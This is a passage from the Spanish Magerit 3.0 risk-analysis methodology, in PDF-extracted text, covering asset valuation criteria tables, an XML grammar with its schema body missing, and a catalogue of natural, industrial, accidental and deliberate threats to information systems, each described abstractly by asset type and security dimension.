© Ministerio de Hacienda y Administraciones Públicas

página 21 (de 75)

Magerit 3.0

Criterios de valoración

3

3.olm

Probablemente merme la eficacia o seguridad de la misión operativa o logística (alcance local)

1

1.olm

Pudiera mermar la eficacia o seguridad de la misión operativa o logística (alcance local)

[adm] Administración y gestión 9

9.adm

probablemente impediría seriamente la operación efectiva de la Organización, pu­ diendo llegar a su cierre

7

7.adm

probablemente impediría la operación efectiva de la Organización

5

5.adm

probablemente impediría la operación efectiva de más de una parte de la Organi­ zación

3

3.adm

probablemente impediría la operación efectiva de una parte de la Organización

1

1.adm

pudiera impedir la operación efectiva de una parte de la Organización

[lg] Pérdida de confianza (reputación) 9

9.lg.a

Probablemente causaría una publicidad negativa generalizada por afectar de for­ ma excepcionalmente grave a las relaciones a las relaciones con otras organiza­ ciones

9.lg.b

Probablemente causaría una publicidad negativa generalizada por afectar de for­ ma excepcionalmente grave a las relaciones a las relaciones con el público en ge­ neral

7.lg.a

Probablemente causaría una publicidad negativa generalizada por afectar grave­ mente a las relaciones con otras organizaciones

7.lg.b

Probablemente causaría una publicidad negativa generalizada por afectar grave­ mente a las relaciones con el público en general

5.lg.a

Probablemente sea causa una cierta publicidad negativa por afectar negativamen­ te a las relaciones con otras organizaciones

5.lg.b

Probablemente sea causa una cierta publicidad negativa por afectar negativamen­ te a las relaciones con el público

3

3.lg

Probablemente afecte negativamente a las relaciones internas de la Organización

2

2.lg

Probablemente cause una pérdida menor de la confianza dentro de la Organización

1

1.lg

Pudiera causar una pérdida menor de la confianza dentro de la Organización

0

0.4

no supondría daño a la reputación o buena imagen de las personas u organizacio­ nes

7

5

[crm] Persecución de delitos 8

8.crm

Impida la investigación de delitos graves o facilite su comisión

4

4.crm

Dificulte la investigación o facilite la comisión de delitos

[rto] Tiempo de recuperación del servicio 7

7.rto

RTO < 4 horas

© Ministerio de Hacienda y Administraciones Públicas

página 22 (de 75)

Magerit 3.0

Criterios de valoración

4

4.rto

4 horas < RTO < 1 día

1

1.rto

1 día < RTO < 5 días

0

0.rto

5 días < RTO

[lbl.nat] Información clasificada (nacional) 10

10.lbl

Secreto

9

9.lbl

Reservado

8

8.lbl

Confidencial

7

7.lbl

Confidencial

6

6.lbl

Difusión limitada

5

5.lbl

Difusión limitada

4

4.lbl

Difusión limitada

3

3.lbl

Difusión limitada

2

2.lbl

Sin clasificar

1

1.lbl

Sin clasificar

[lbl.ue] Información clasificada (Unión Europea) 10

10.ue

TRES SECRET UE

9

9.ue

SECRET UE

8

8.ue

CONFIDENTIEL UE

7

7.ue

CONFIDENTIEL UE

6

6.ue

RESTREINT UE

5

5.ue

RESTREINT UE

4

4.ue

RESTREINT UE

3

3.ue

RESTREINT UE

4.2. XML Los tipos de activos cabe esperar que evolucionen en el tiempo para adaptarse a la evolución tec­ nológica. Por ello se incluye a continuación una gramática de tipo XML que permita publicar perió­ dicamente actualizaciones de los tipos antes descritos.

4.2.1. Sintaxis BNF La notación se describe en el apéndice 1. criterios ::= { criterio }* criterio ::=

#texto#

{ criterio }*



© Ministerio de Hacienda y Administraciones Públicas

página 23 (de 75)

Magerit 3.0 Atributo

Criterios de valoración Descripción

Ejemplo

value

value=”X” X es un índice entre 0 y 10 de valoración cualitativa de activos.

code

code=”X”

X es un código único para identificar el criterio; en relación a la tabla previa, se identificará el epígrafe; por ejemplo, “7.4.c”

4.2.2. Esquema XSD

version: magerit 3.0 (2011)

date: 19.11.2011










minOccurs="0" maxOccurs="unbounded"/>












minOccurs="0" maxOccurs="unbounded"/>









4.3. Referencias •

CCN-STIC-803 – Esquema Nacional de Seguridad – Criterios de Valoración.

•

SP 800-60, “Guide for Mapping Types of Information and Information Systems to Security Categories”, NIST, June 2004. http://csrc.nist.gov/publications/nistpubs/index.html

•

HMG, “Residual Risk Assessment Method”, INFOSEC Standard No. 1. 2003.

•

C. Alberts and A. Dorofee, “Managing information Security Risks. The OCTAVE Approach”, Addison Wesley, 2003. http://www.cert.org/octave/

© Ministerio de Hacienda y Administraciones Públicas

página 24 (de 75)

Magerit 3.0

Amenazas

5. Amenazas Se presenta a continuación un catálogo de amenazas posibles sobre los activos de un sistema de información. Para cada amenaza se presenta un cuadro como el siguiente: [código] descripción sucinta de lo que puede pasar Tipos de activos: •

que se pueden ver afectados por este ti­ po de amenazas

Dimensiones: 1. de seguridad que se pueden ver afecta­ das por este tipo de amenaza, ordenadas de más a menos relevante

Descripción: complementaria o más detallada de la amenaza: lo que le puede ocurrir a activos del tipo indi­ cado con las consecuencias indicadas

5.1. [N] Desastres naturales Sucesos que pueden ocurrir sin intervención de los seres humanos como causa directa o indire­ cta. Origen: Natural (accidental)

5.1.1. [N.1] Fuego [N.1] Fuego Tipos de activos: • • • •

Dimensiones:

[HW] equipos informáticos (hardware) [Media] soportes de información [AUX] equipamiento auxiliar [L] instalaciones

1. [D] disponibilidad

Descripción: incendios: posibilidad de que el fuego acabe con recursos del sistema. Ver: EBIOS: 01- INCENDIO

5.1.2. [N.2] Daños por agua [N.2] Daños por agua Tipos de activos: • • • •

Dimensiones:

[HW] equipos informáticos (hardware) [Media] soportes de información [AUX] equipamiento auxiliar [L] instalaciones

1. [D] disponibilidad

Descripción: inundaciones: posibilidad de que el agua acabe con recursos del sistema. Ver: EBIOS: 02 - PERJUICIOS OCASIONADOS POR EL AGUA

© Ministerio de Hacienda y Administraciones Públicas

página 25 (de 75)

Magerit 3.0

Amenazas

5.1.3. [N.*] Desastres naturales [N.*] Desastres naturales Tipos de activos: • • • •

Dimensiones:

[HW] equipos informáticos (hardware) [Media] soportes de información [AUX] equipamiento auxiliar [L] instalaciones

1. [D] disponibilidad

Descripción: otros incidentes que se producen sin intervención humana: rayo, tormenta eléctrica, terremoto, ciclones, avalancha, corrimiento de tierras, ... Se excluyen desastres específicos tales como incendios (ver [N.1]) e inundaciones (ver [N.2]). Se excluye al personal por cuanto se ha previsto una amenaza específica [E.31] para cubrir la indisponibilidad involuntaria del personal sin entrar en sus causas. Ver: EBIOS: 03 – CONTAMINACIÓN 04 - SINIESTRO MAYOR 06 - FENÓMENO CLIMÁTICO 07 - FENÓMENO SÍSMICO 08 - FENÓMENO DE ORIGEN VOLCÁNICO 09 - FENÓMENO METEOROLÓGICO 10 - INUNDACIÓN

© Ministerio de Hacienda y Administraciones Públicas

página 26 (de 75)

Magerit 3.0

Amenazas

5.2. [I] De origen industrial Sucesos que pueden ocurrir de forma accidental, derivados de la actividad humana de tipo indus­ trial. Estas amenazas puede darse de forma accidental o deliberada.

5.2.1. [I.1] Fuego [I.1] Fuego Tipos de activos: • • • •

Dimensiones: 1. [D] disponibilidad

[HW] equipos informáticos (hardware) [Media] soportes de información [AUX] equipamiento auxiliar [L] instalaciones

Descripción: incendio: posibilidad de que el fuego acabe con los recursos del sistema. Origen: Entorno (accidental) Humano (accidental o deliberado) Ver: EBIOS: 01- INCENDIO

5.2.2. [I.2] Daños por agua [I.2] Daños por agua Tipos de activos: • • • •

Dimensiones:

[HW] equipos informáticos (hardware) [Media] soportes de información [AUX] equipamiento auxiliar [L] instalaciones

1. [D] disponibilidad

Descripción: escapes, fugas, inundaciones: posibilidad de que el agua acabe con los recursos del sistema. Origen: Entorno (accidental) Humano (accidental o deliberado) Ver: EBIOS: 02 - PERJUICIOS OCASIONADOS POR EL AGUA

© Ministerio de Hacienda y Administraciones Públicas

página 27 (de 75)

Magerit 3.0

Amenazas

5.2.3. [I.*] Desastres industriales [I.*] Desastres industriales Tipos de activos: • • • •

Dimensiones: 1. [D] disponibilidad

[HW] equipos informáticos (hardware) [Media] soportes de información [AUX] equipamiento auxiliar [L] instalaciones

Descripción: otros desastres debidos a la actividad humana: explosiones, derrumbes, ... contaminación química, ... sobrecarga eléctrica, fluctuaciones eléctricas, ... accidentes de tráfico, ... Se excluyen amenazas específicas como incendio (ver [I.1]) e inundación (ver [I.2]). Se excluye al personal por cuanto se ha previsto una amenaza específica, [E.31], para cubrir la indisponibilidad involuntaria del personal sin entrar en sus causas. Origen: Entorno (accidental) Humano (accidental o deliberado) Ver: EBIOS: 04 - SINIESTRO MAYOR

5.2.4. [I.3] Contaminación mecánica [I.3] Contaminación mecánica Tipos de activos: • • •

Dimensiones:

[HW] equipos informáticos (hardware) [Media] soportes de información [AUX] equipamiento auxiliar

1. [D] disponibilidad

Descripción: vibraciones, polvo, suciedad, ... Origen: Entorno (accidental) Humano (accidental o deliberado) Ver: EBIOS: 03 – CONTAMINACIÓN

© Ministerio de Hacienda y Administraciones Públicas

página 28 (de 75)

Magerit 3.0

Amenazas

5.2.5. [I.4] Contaminación electromagnética [I.4] Contaminación electromagnética Tipos de activos: • • •

Dimensiones: 1. [D] disponibilidad

[HW] equipos informáticos (hardware) [Media] soportes de información (electrónicos) [AUX] equipamiento auxiliar

Descripción: interferencias de radio, campos magnéticos, luz ultravioleta, ... Origen: Entorno (accidental) Humano (accidental o deliberado) Ver: EBIOS: 14 - EMISIONES ELECTROMAGNÉTICAS 15- RADIACIONES TÉRMICAS 16 - IMPULSOS ELECTROMAGNÉTICOS

5.2.6. [I.5] Avería de origen físico o lógico [I.5] Avería de origen físico o lógico Tipos de activos: • • • •

Dimensiones:

[SW] aplicaciones (software) [HW] equipos informáticos (hardware) [Media] soportes de información [AUX] equipamiento auxiliar

1. [D] disponibilidad

Descripción: fallos en los equipos y/o fallos en los programas. Puede ser debida a un defecto de origen o sobrevenida durante el funcionamiento del sistema. En sistemas de propósito específico, a veces es difícil saber si el origen del fallo es físico o lógico; pero para las consecuencias que se derivan, esta distinción no suele ser relevante. Origen: Entorno (accidental) Humano (accidental o deliberado) Ver: EBIOS: 28 - AVERÍA DEL HARDWARE 29 - FALLA DE FUNCIONAMIENTO DEL HARDWARE

© Ministerio de Hacienda y Administraciones Públicas

página 29 (de 75)

Magerit 3.0

Amenazas

5.2.7. [I.6] Corte del suministro eléctrico [I.6] Corte del suministro eléctrico Tipos de activos: • • •

Dimensiones: 1. [D] disponibilidad

[HW] equipos informáticos (hardware) [Media] soportes de información (electrónicos) [AUX] equipamiento auxiliar

Descripción: cese de la alimentación de potencia Origen: Entorno (accidental) Humano (accidental o deliberado) Ver: EBIOS: 12 - PÉRDIDA DE SUMINISTRO DE ENERGÍA

5.2.8. [I.7] Condiciones inadecuadas de temperatura o humedad [I.7] Condiciones inadecuadas de temperatura y/o humedad Tipos de activos: • • •

Dimensiones:

[HW] equipos informáticos (hardware) [Media] soportes de información [AUX] equipamiento auxiliar

1. [D] disponibilidad

Descripción: deficiencias en la aclimatación de los locales, excediendo los márgenes de trabajo de los equipos: excesivo calor, excesivo frío, exceso de humedad, ... Origen: Entorno (accidental) Humano (accidental o deliberado) Ver: EBIOS: 11- FALLAS EN LA CLIMATIZACIÓN

5.2.9. [I.8] Fallo de servicios de comunicaciones [I.8] Fallo de servicios de comunicaciones Tipos de activos: •

Dimensiones:

[COM] redes de comunicaciones

1. [D] disponibilidad

Descripción: cese de la capacidad de transmitir datos de un sitio a otro. Típicamente se debe a la destruc­ ción física de los medios físicos de transporte o a la detención de los centros de conmutación, sea por destrucción, detención o simple incapacidad para atender al tráfico presente. Origen: Entorno (accidental) Humano (accidental o deliberado) Ver: EBIOS: 13 - PÉRDIDA DE LOS MEDIOS DE TELECOMUNICACIÓN

© Ministerio de Hacienda y Administraciones Públicas

página 30 (de 75)

Magerit 3.0

Amenazas

5.2.10. [I.9] Interrupción de otros servicios y suministros esenciales [I.9] Interrupción de otros servicios y suministros esenciales Tipos de activos: •

Dimensiones:

[AUX] equipamiento auxiliar

1. [D] disponibilidad

Descripción: otros servicios o recursos de los que depende la operación de los equipos; por ejemplo, papel para las impresoras, toner, refrigerante, ... Origen: Entorno (accidental) Humano (accidental o deliberado) Ver: EBIOS: no disponible

5.2.11. [I.10] Degradación de los soportes de almacenamiento de la informa­ ción [I.10] Degradación de los soportes de almacenamiento de la información Tipos de activos: •

Dimensiones:

[Media] soportes de información

1. [D] disponibilidad

Descripción: como consecuencia del paso del tiempo Origen: Entorno (accidental) Humano (accidental o deliberado) Ver: EBIOS: 28 - AVERÍA DEL HARDWARE 29 - FALLA DE FUNCIONAMIENTO DEL HARDWARE

© Ministerio de Hacienda y Administraciones Públicas

página 31 (de 75)

Magerit 3.0

Amenazas

5.2.12. [I.11] Emanaciones electromagnéticas [I.11] Emanaciones electromagnéticas Tipos de activos: • • • •

Dimensiones:

[HW] equipos informáticos (hardware) [Media] media [AUX] equipamiento auxiliar [L] instalaciones

1. [C] confidencialidad

Descripción: hecho de poner vía radio datos internos a disposición de terceros. Es una amenaza donde el emisor es víctima pasiva del ataque. Prácticamente todos los dispositivos electrónicos emiten radiaciones al exterior que pudieran ser interceptadas por otros equipos (receptores de radio) derivándose una fuga de informa­ ción. Esta amenaza se denomina, incorrecta pero frecuentemente, ataque TEMPEST (del inglés “Transient Electromagnetic Pulse Standard”). Abusando del significado primigenio, es frecuen­ te oír hablar de que un equipo disfruta de "TEMPEST protection", queriendo decir que se ha diseñado para que no emita, electromagnéticamente, nada de interés por si alguien lo captara. No se contempla en esta amenaza la emisión por necesidades del medio de comunicación: redes inalámbricas, enlaces de microondas, etc. que estarán amenazadas de interceptación. Origen: Entorno (accidental) Humano (accidental o deliberado) Ver: EBIOS: 17 - INTERCEPTACIÓN DE SEÑALES PARÁSITAS COMPROMETEDORAS

© Ministerio de Hacienda y Administraciones Públicas

página 32 (de 75)

Magerit 3.0

Amenazas

5.3. [E] Errores y fallos no intencionados Fallos no intencionales causados por las personas. La numeración no es consecutiva, sino que está alineada con los ataques deliberados, muchas veces de naturaleza similar a los errores no intencionados, difiriendo únicamente en el propósito del sujeto. Origen: Humano (accidental) Ver correlación de errores y amenazas.

5.3.1. [E.1] Errores de los usuarios [E.1] Errores de los usuarios Tipos de activos: • • • • •

Dimensiones:

[D] datos / información [keys] claves criptográficas [S] servicios [SW] aplicaciones (software) [Media] soportes de información

1. [I] integridad 2. [C] confidencialidad 3. [D] disponibilidad

Descripción: equivocaciones de las personas cuando usan los servicios, datos, etc. Ver: EBIOS: 38 - ERROR DE USO

5.3.2. [E.2] Errores del administrador [E.2] Errores del administrador Tipos de activos: • • • • • • •

Dimensiones:

[D] datos / información [keys] claves criptográficas [S] servicios [SW] aplicaciones (software) [HW] equipos informáticos (hardware) [COM] redes de comunicaciones [Media] soportes de información

1. [D] disponibilidad 2. [I] integridad 3. [C] confidencialidad

Descripción: equivocaciones de personas con responsabilidades de instalación y operación Ver: EBIOS: 38 - ERROR DE USO

© Ministerio de Hacienda y Administraciones Públicas

página 33 (de 75)

Magerit 3.0

Amenazas

5.3.3. [E.3] Errores de monitorización (log) [E.3] Errores de monitorización (log) Tipos de activos: •

Dimensiones:

[D.log] registros de actividad

1. [I] integridad (trazabilidad)

Descripción: inadecuado registro de actividades: falta de registros, registros incompletos, registros incorrec­ tamente fechados, registros incorrectamente atribuidos, ... Ver: EBIOS: no disponible

5.3.4. [E.4] Errores de configuración [E.4] Errores de configuración Tipos de activos: •

Dimensiones:

[D.conf] datos de configuración

1. [I] integridad

Descripción: introducción de datos de configuración erróneos. Prácticamente todos los activos dependen de su configuración y ésta de la diligencia del ad­ ministrador: privilegios de acceso, flujos de actividades, registro de actividad, encaminamien­ to, etc. Ver: EBIOS: no disponible

5.3.5. [E.7] Deficiencias en la organización Obsoleta. [E.7] Deficiencias en la organización Tipos de activos: •

Dimensiones:

[P] personal

1. [D] disponibilidad

Descripción: cuando no está claro quién tiene que hacer exactamente qué y cuándo, incluyendo tomar me­ didas sobre los activos o informar a la jerarquía de gestión. Acciones descoordinadas, errores por omisión, etc. Ver: EBIOS: no disponible

© Ministerio de Hacienda y Administraciones Públicas

página 34 (de 75)

Magerit 3.0

Amenazas

5.3.6. [E.8] Difusión de software dañino [E.8] Difusión de software dañino Tipos de activos: •

Dimensiones:

[SW] aplicaciones (software)

1. [D] disponibilidad 2. [I] integridad 3. [C] confidencialidad

Descripción: propagación inocente de virus, espías (spyware), gusanos, troyanos, bombas lógicas, etc. Ver: EBIOS: no disponible

5.3.7. [E.9] Errores de [re-]encaminamiento [E.9] Errores de [re-]encaminamiento Tipos de activos: • • •

Dimensiones: 1. [C] confidencialidad

[S] servicios [SW] aplicaciones (software) [COM] redes de comunicaciones

Descripción: envío de información a través de un sistema o una red usando, accidentalmente, una ruta in­ correcta que lleve la información a donde o por donde no es debido; puede tratarse de mensa­ jes entre personas, entre procesos o entre unos y otros. Es particularmente destacable el caso de que el error de encaminamiento suponga un error de entrega, acabando la información en manos de quien no se espera. Ver: EBIOS: no disponible

5.3.8. [E.10] Errores de secuencia [E.10] Errores de secuencia Tipos de activos: • • •

Dimensiones: 1. [I] integridad

[S] servicios [SW] aplicaciones (software) [COM] redes de comunicaciones

Descripción: alteración accidental del orden de los mensajes transmitidos. Ver: EBIOS: no disponible

5.3.9. [E.14] Escapes de información Obsoleta: use E.19. [E.14] Escapes de información Tipos de activos:

Dimensiones:

•

1. [C] confidencialidad

Descripción: la información llega accidentalmente al conocimiento de personas que no deberían tener co­ nocimiento de ella, sin que la información en sí misma se vea alterada. © Ministerio de Hacienda y Administraciones Públicas

página 35 (de 75)

Magerit 3.0

Amenazas

5.3.10. [E.15] Alteración accidental de la información [E.15] Alteración accidental de la información Tipos de activos: • • • • • • •

Dimensiones: 1. [I] integridad

[D] datos / información [keys] claves criptográficas [S] servicios [SW] aplicaciones (SW) [COM] comunicaciones (tránsito) [Media] soportes de información [L] instalaciones

Descripción: alteración accidental de la información. Esta amenaza sólo se identifica sobre datos en general, pues cuando la información está en algún soporte informático, hay amenazas específicas. Ver: EBIOS: no disponible

5.3.11. [E.18] Destrucción de información [E.18] Destrucción de información Tipos de activos: • • • • • • •

Dimensiones:

[D] datos / información [keys] claves criptográficas [S] servicios [SW] aplicaciones (SW) [COM] comunicaciones (tránsito) [Media] soportes de información [L] instalaciones

1. [D] disponibilidad

Descripción: pérdida accidental de información. Esta amenaza sólo se identifica sobre datos en general, pues cuando la información está en algún soporte informático, hay amenazas específicas. Ver: EBIOS: no disponible

© Ministerio de Hacienda y Administraciones Públicas

página 36 (de 75)

Magerit 3.0

Amenazas

5.3.12. [E.19] Fugas de información [E.19] Fugas de información Tipos de activos: • • • • • • • •

Dimensiones: 1. [C] confidencialidad

[D] datos / información [keys] claves criptográficas [S] servicios [SW] aplicaciones (SW) [COM] comunicaciones (tránsito) [Media] soportes de información [L] instalaciones [P] personal (revelación)

Descripción: revelación por indiscreción. Incontinencia verbal, medios electrónicos, soporte papel, etc. Ver: EBIOS: no disponible

5.3.13. [E.20] Vulnerabilidades de los programas (software) [E.20] Vulnerabilidades de los programas (software) Tipos de activos: •

Dimensiones:

[SW] aplicaciones (software)

1. [I] integridad 2. [D] disponibilidad 3. [C] confidencialidad

Descripción: defectos en el código que dan pie a una operación defectuosa sin intención por parte del usuario pero con consecuencias sobre la integridad de los datos o la capacidad misma de operar. Ver: EBIOS: no disponible

5.3.14. [E.21] Errores de mantenimiento / actualización de programas (softwa­ re) [E.21] Errores de mantenimiento / actualización de programas (software) Tipos de activos: •

Dimensiones:

[SW] aplicaciones (software)

1. [I] integridad 2. [D] disponibilidad

Descripción: defectos en los procedimientos o controles de actualización del código que permiten que sigan utilizándose programas con defectos conocidos y reparados por el fabricante. Ver: EBIOS: 31 - FALLA DE FUNCIONAMIENTO DEL SOFTWARE 32 - PERJUICIO A LA MANTENIBILIDAD DEL SISTEMA DE INFORMACIÓN

© Ministerio de Hacienda y Administraciones Públicas

página 37 (de 75)

Magerit 3.0

Amenazas

5.3.15. [E.23] Errores de mantenimiento / actualización de equipos (hardware) [E.23] Errores de mantenimiento / actualización de equipos (hardware) Tipos de activos: • • •

Dimensiones: 1. [D] disponibilidad

[HW] equipos informáticos (hardware) [Media] soportes electrónicos [AUX] equipamiento auxiliar

Descripción: defectos en los procedimientos o controles de actualización de los equipos que permiten que sigan utilizándose más allá del tiempo nominal de uso. Ver: EBIOS: 32 - PERJUICIO A LA MANTENIBILIDAD DEL SISTEMA DE INFORMACIÓN

5.3.16. [E.24] Caída del sistema por agotamiento de recursos [E.24] Caída del sistema por agotamiento de recursos Tipos de activos: • • •

Dimensiones:

[S] servicios [HW] equipos informáticos (hardware) [COM] redes de comunicaciones

1. [D] disponibilidad

Descripción: la carencia de recursos suficientes provoca la caída del sistema cuando la carga de trabajo es desmesurada. Ver: EBIOS: 30 - SATURACIÓN DEL SISTEMA INFORMÁTICO

5.3.17. [E.25] Pérdida de equipos [E.25] Robo Tipos de activos: • • •

Dimensiones:

[HW] equipos informáticos (hardware) [Media] soportes de información [AUX] equipamiento auxiliar

1. [D] disponibilidad 2. [C] confidencialidad

Descripción: la pérdida de equipos provoca directamente la carencia de un medio para prestar los servi­ cios, es decir una indisponibilidad. Se puede perder todo tipo de equipamiento, siendo la pérdida de equipos y soportes de infor­ mación los más habituales. En el caso de equipos que hospedan datos, además se puede sufrir una fuga de información. Ver: EBIOS: 22 - RECUPERACIÓN DE SOPORTES RECICLADOS O DESECHADOS

© Ministerio de Hacienda y Administraciones Públicas

página 38 (de 75)

Magerit 3.0

Amenazas

5.3.18. [E.28] Indisponibilidad del personal [E.28] Indisponibilidad del personal Tipos de activos: •

Dimensiones:

[P] personal interno

1. [D] disponibilidad

Descripción: ausencia accidental del puesto de trabajo: enfermedad, alteraciones del orden público, guerra bacteriológica, ... Ver: EBIOS: 42 - DAÑO A LA DISPONIBILIDAD DEL PERSONAL

© Ministerio de Hacienda y Administraciones Públicas

página 39 (de 75)

Magerit 3.0

Amenazas

5.4. [A] Ataques intencionados Fallos deliberados causados por las personas. La numeración no es consecutiva para coordinarla con los errores no intencionados, muchas ve­ ces de naturaleza similar a los ataques deliberados, difiriendo únicamente en el propósito del suje­ to. Origen: Humano (deliberado) Ver correlación de errores y amenazas.

5.4.1. [A.3] Manipulación de los registros de actividad (log) [A.4] Manipulación de los registros de actividad (log) Tipos de activos: •

Dimensiones:

[D.log] registros de actividad

1. [I] integridad (trazabilidad)

Descripción: Ver: EBIOS: no disponible

5.4.2. [A.4] Manipulación de la configuración [A.4] Manipulación de la configuración Tipos de activos: •

[D.log] registros de actividad

Dimensiones: 1. [I] integridad 2. [C] confidencialidad 3. [A] disponibilidad

Descripción: prácticamente todos los activos dependen de su configuración y ésta de la diligencia del ad­ ministrador: privilegios de acceso, flujos de actividades, registro de actividad, encaminamien­ to, etc. Ver: EBIOS: no disponible

© Ministerio de Hacienda y Administraciones Públicas

página 40 (de 75)

Magerit 3.0

Amenazas

5.4.3. [A.5] Suplantación de la identidad del usuario [A.5] Suplantación de la identidad del usuario Tipos de activos: • • • • •

Dimensiones: 1. [C] confidencialidad 2. [A] autenticidad 3. [I] integridad

[D] datos / información [keys] claves criptográficas [S] servicios [SW] aplicaciones (software) [COM] redes de comunicaciones

Descripción: cuando un atacante consigue hacerse pasar por un usuario autorizado, disfruta de los privile­ gios de este para sus fines propios. Esta amenaza puede ser perpetrada por personal interno, por personas ajenas a la Organiza­ ción o por personal contratado temporalmente. Ver: EBIOS: 40 - USURPACIÓN DE DERECHO

5.4.4. [A.6] Abuso de privilegios de acceso [A.6] Abuso de privilegios de acceso Tipos de activos: • • • • • •

Dimensiones: 1. [C] confidencialidad 2. [I] integridad 3. [D] disponibilidad

[D] datos / información [keys] claves criptográficas [S] servicios [SW] aplicaciones (software) [HW] equipos informáticos (hardware) [COM] redes de comunicaciones

Descripción: cada usuario disfruta de un nivel de privilegios para un determinado propósito; cuando un usuario abusa de su nivel de privilegios para realizar tareas que no son de su competencia, hay problemas. Ver: EBIOS: 39 - ABUSO DE DERECHO

5.4.5. [A.7] Uso no previsto [A.7] Uso no previsto Tipos de activos: • • • • • • •

[S] servicios [SW] aplicaciones (software) [HW] equipos informáticos (hardware) [COM] redes de comunicaciones [Media] soportes de información [AUX] equipamiento auxiliar [L] instalaciones

Dimensiones: 1. 2. 3.

[D] disponibilidad [C] confidencialidad [I] integridad

Descripción: utilización de los recursos del sistema para fines no previstos, típicamente de interés personal: juegos, consultas personales en Internet, bases de datos personales, programas personales, almacenamiento de datos personales, etc. Ver: EBIOS: no disponible

© Ministerio de Hacienda y Administraciones Públicas

página 41 (de 75)

Magerit 3.0

Amenazas

5.4.6. [A.8] Difusión de software dañino [A.8] Difusión de software dañino Tipos de activos: •

[SW] aplicaciones (software)

Dimensiones: 1. 2. 3.

[D] disponibilidad [I] integridad [C] confidencialidad

Descripción: propagación intencionada de virus, espías (spyware), gusanos, troyanos, bombas lógicas, etc. Ver: EBIOS: no disponible

5.4.7. [A.9] [Re-]encaminamiento de mensajes [A.9] [Re-]encaminamiento de mensajes Tipos de activos: • • •

Dimensiones: 1. [C] confidencialidad

[S] servicios [SW] aplicaciones (software) [COM] redes de comunicaciones

Descripción: envío de información a un destino incorrecto a través de un sistema o una red, que llevan la información a donde o por donde no es debido; puede tratarse de mensajes entre personas, entre procesos o entre unos y otros. Un atacante puede forzar un mensaje para circular a través de un nodo determinado de la red donde puede ser interceptado. Es particularmente destacable el caso de que el ataque de encaminamiento lleve a una entre­ ga fraudulenta, acabando la información en manos de quien no debe. Ver: EBIOS: no disponible

5.4.8. [A.10] Alteración de secuencia [A.10] Alteración de secuencia Tipos de activos: • • •

Dimensiones:

[S] servicios [SW] aplicaciones (software) [COM] redes de comunicaciones

1. [I] integridad

Descripción: alteración del orden de los mensajes transmitidos. Con ánimo de que el nuevo orden altere el significado del conjunto de mensajes, perjudicando a la integridad de los datos afectados. Ver: EBIOS: 36 - ALTERACIÓN DE DATOS

© Ministerio de Hacienda y Administraciones Públicas

página 42 (de 75)

Magerit 3.0

Amenazas

5.4.9. [A.11] Acceso no autorizado [A.11] Acceso no autorizado Tipos de activos: • • • • • • • • •

Dim1nsiones:

[D] datos / información [keys] claves criptográficas [S] servicios [SW] aplicaciones (software) [HW] equipos informáticos (hardware) [COM] redes de comunicaciones [Media] soportes de información [AUX] equipamiento auxiliar [L] instalaciones

1. [C] confidencialidad 2. [I] integridad

Descripción: el atacante consigue acceder a los recursos del sistema sin tener autorización para ello, típi­ camente aprovechando un fallo del sistema de identificación y autorización. Ver: EBIOS: 33 - USO ILÍCITO DEL HARDWARE

5.4.10. [A.12] Análisis de tráfico [A.12] Análisis de tráfico Tipos de activos: •

Dimensiones:

[COM] redes de comunicaciones

1. [C] confidencialidad

Descripción: el atacante, sin necesidad de entrar a analizar el contenido de las comunicaciones, es capaz de extraer conclusiones a partir del análisis del origen, destino, volumen y frecuencia de los in­ tercambios. A veces se denomina “monitorización de tráfico”. Ver: EBIOS: no disponible

5.4.11. [A.13] Repudio [A.13] Repudio Tipos de activos: • •

Dimensiones:

[S] servicios [D.log] registros de actividad

1. [I] integridad (trazabilidad)

Descripción: negación a posteriori de actuaciones o compromisos adquiridos en el pasado. Repudio de origen: negación de ser el remitente u origen de un mensaje o comunicación. Repudio de recepción: negación de haber recibido un mensaje o comunicación. Repudio de entrega: negación de haber recibido un mensaje para su entrega a otro. Ver: EBIOS: 41 - NEGACIÓN DE ACCIONES

© Ministerio de Hacienda y Administraciones Públicas

página 43 (de 75)

Magerit 3.0

Amenazas

5.4.12. [A.14] Interceptación de información (escucha) [A.14] Interceptación de información (escucha) Tipos de activos: •

Dimensiones:

[COM] redes de comunicaciones

1. [C] confidencialidad

Descripción: el atacante llega a tener acceso a información que no le corresponde, sin que la información en sí misma se vea alterada. Ver: EBIOS: 19 - ESCUCHA PASIVA

5.4.13. [A.15] Modificación deliberada de la información [A.15] Modificación deliberada de la información Tipos de activos: • • • • • • •

Dimensiones:

[D] datos / información [keys] claves criptográficas [S] servicios (acceso) [SW] aplicaciones (SW) [COM] comunicaciones (tránsito) [Media] soportes de información [L] instalaciones

1. [I] integridad

Descripción: alteración intencional de la información, con ánimo de obtener un beneficio o causar un perjui­ cio. Ver: EBIOS: no disponible

5.4.14. [A.18] Destrucción de información [A.18] Destrucción de información Tipos de activos: • • • • • •

Dimensiones:

[D] datos / información [keys] claves criptográficas [S] servicios (acceso) [SW] aplicaciones (SW) [Media] soportes de información [L] instalaciones

1. [D] disponibilidad

Descripción: eliminación intencional de información, con ánimo de obtener un beneficio o causar un perjui­ cio. Ver: EBIOS: no disponible

© Ministerio de Hacienda y Administraciones Públicas

página 44 (de 75)

Magerit 3.0

Amenazas

5.4.15. [A.19] Divulgación de información [A.19] Revelación de información Tipos de activos: • • • • • • •

Dimensiones: 1. [C] confidencialidad

[D] datos / información [keys] claves criptográficas [S] servicios (acceso) [SW] aplicaciones (SW) [COM] comunicaciones (tránsito) [Media] soportes de información [L] instalaciones

Descripción: revelación de información. Ver: EBIOS: 23 – DIVULGACIÓN 27 – GEOLOCALIZACIÓN 34 - COPIA ILEGAL DE SOFTWARE

5.4.16. [A.22] Manipulación de programas [A.22] Manipulación de programas Tipos de activos: •

Dimensiones:

[SW] aplicaciones (software)

1. [C] confidencialidad 2. [I] integridad 3. [D] disponibilidad

Descripción: alteración intencionada del funcionamiento de los programas, persiguiendo un beneficio indi­ recto cuando una persona autorizada lo utiliza. Ver: EBIOS: 26 - ALTERACIÓN DE PROGRAMAS

5.4.17. [A.23] Manipulación de los equipos [A.22] Manipulación de los equipos Tipos de activos: • • •

Dimensiones:

[HW] equipos [Media] soportes de información [AUX] equipamiento auxiliar

1. [C] confidencialidad 2. [D] disponibilidad

Descripción: alteración intencionada del funcionamiento de los programas, persiguiendo un beneficio indi­ recto cuando una persona autorizada lo utiliza. Ver: EBIOS: 25 - SABOTAJE DEL HARDWARE

© Ministerio de Hacienda y Administraciones Públicas

página 45 (de 75)

Magerit 3.0

Amenazas

5.4.18. [A.24] Denegación de servicio [A.24] Denegación de servicio Tipos de activos: • • •

Dimensiones: 1. [D] disponibilidad

